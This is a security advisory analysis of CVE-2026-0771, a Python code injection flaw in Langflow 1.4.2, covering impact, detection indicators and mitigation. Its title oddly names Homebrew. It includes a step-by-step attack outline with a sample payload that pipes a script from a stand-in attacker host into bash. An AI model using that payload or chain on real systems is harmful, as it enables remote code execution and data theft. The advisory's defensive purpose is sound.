CVE-2026-0771: 
Homebrew vulnerability analysis and mitigation

CVE-2026-0771 is a code injection vulnerability in Langflow, dubbed "Langflow PythonFunction Code Injection Remote Code Execution Vulnerability," that allows remote attackers to execute arbitrary code on affected installations. The flaw exists within the handling of Python function components, where — depending on product configuration — an attacker may introduce custom Python code into a workflow. The confirmed affected version is Langflow 1.4.2. It was reported to the vendor on July 18, 2025, and published as a 0-day advisory on January 9, 2026, after the vendor failed to respond adequately. The CVSS v3.0 base score is 7.1 (High), assigned by Zero Day Initiative (ZDI Advisory).

The vulnerability is classified as CWE-94 (Improper Control of Generation of Code — 'Code Injection'). The flaw resides in Langflow's handling of Python function components, which can allow a low-privileged, authenticated attacker to inject and execute arbitrary Python code within a workflow. Exploitation requires user interaction and high attack complexity, suggesting the attacker may need to manipulate a victim into triggering the malicious workflow or rely on specific configuration states that permit custom code execution. The internal ZDI tracking identifier is ZDI-CAN-27497 (ZDI Advisory).

Successful exploitation grants an attacker the ability to execute arbitrary code in the context of the Langflow application, resulting in high confidentiality, integrity, and availability impact. An attacker could exfiltrate sensitive data processed by the AI workflow platform, tamper with workflow logic or outputs, or disrupt service availability. Given Langflow's role as an AI/LLM workflow orchestration tool, compromise could also expose connected API keys, model configurations, and downstream integrations (ZDI Advisory).

This vulnerability was published as a 0-day advisory on January 9, 2026, after the vendor did not provide a fix despite multiple follow-ups from ZDI over several months. A GitHub exploit reference has been observed in Feedly's tracking data (vulners.com/githubexploit), suggesting public exploit code may be available. The EPSS score is approximately 0.202%, indicating a relatively low but non-negligible probability of exploitation in the near term. There is no current evidence of confirmed in-the-wild exploitation or CISA KEV catalog listing as of the available data (ZDI Advisory).

1. Reconnaissance: Identify internet-facing Langflow instances running version 1.4.2, using tools like Shodan or Censys searching for Langflow-specific HTTP banners or endpoints.
2. Authentication: Obtain low-privileged credentials to the Langflow instance (e.g., via credential stuffing, phishing, or default credentials).
3. Access workflow editor: Log in and navigate to the workflow/flow builder interface where Python function components can be added.
4. Inject malicious Python code: Add or modify a Python function component within a workflow, inserting arbitrary Python code (e.g., a reverse shell payload or command execution snippet such as import os; os.system('curl attacker.com/shell.sh | bash')).
5. Trigger execution: Execute or cause a victim user to trigger the workflow containing the malicious Python component, resulting in server-side code execution in the context of the Langflow application process.
6. Post-exploitation: Use the established code execution to exfiltrate data, establish persistence, or pivot to connected systems and APIs (ZDI Advisory).

• Network: Unexpected outbound connections from the Langflow server to unknown external IPs or domains; DNS lookups for attacker-controlled infrastructure originating from the Langflow process.
• Logs: Langflow application logs showing creation or modification of Python function components by low-privileged users; unusual workflow execution events, especially those triggering system-level commands.
• Process: Unexpected child processes spawned by the Langflow Python process (e.g., bash, sh, curl, wget, python3 with unusual arguments); new network listeners created by the application process.
• File System: Unexpected scripts, web shells, or binary files written to the Langflow working directory or temp directories; new cron jobs or scheduled tasks created under the application service account.

As of the 0-day advisory publication date (January 9, 2026), no vendor-supplied patch was available; ZDI noted that the vendor did not provide a fix despite repeated follow-ups. The only recommended mitigation from ZDI is to restrict interaction with the Langflow product — specifically, limiting network access to trusted users only and avoiding exposure of Langflow instances to the public internet. Organizations should enforce strict authentication controls, apply network-level access controls (firewalls, VPNs), and monitor for anomalous workflow modifications. Users should check the Langflow GitHub repository for any subsequent patches or security advisories (ZDI Advisory).

The vulnerability was credited to Peter Girnus (@gothburz), William Gamazo Sanchez, and Alfredo Oliveira of Trend Research, and was published as a 0-day after the vendor failed to respond to multiple follow-up requests over nearly six months. The disclosure timeline highlights a significant vendor responsiveness concern, as ZDI submitted the report in July 2025 and notified the vendor of 0-day publication intent in December 2025. A technical write-up was published by Infinit Security (infinitsec.net) shortly after the advisory, and the vulnerability was tracked by VulDB and other aggregators (ZDI Advisory).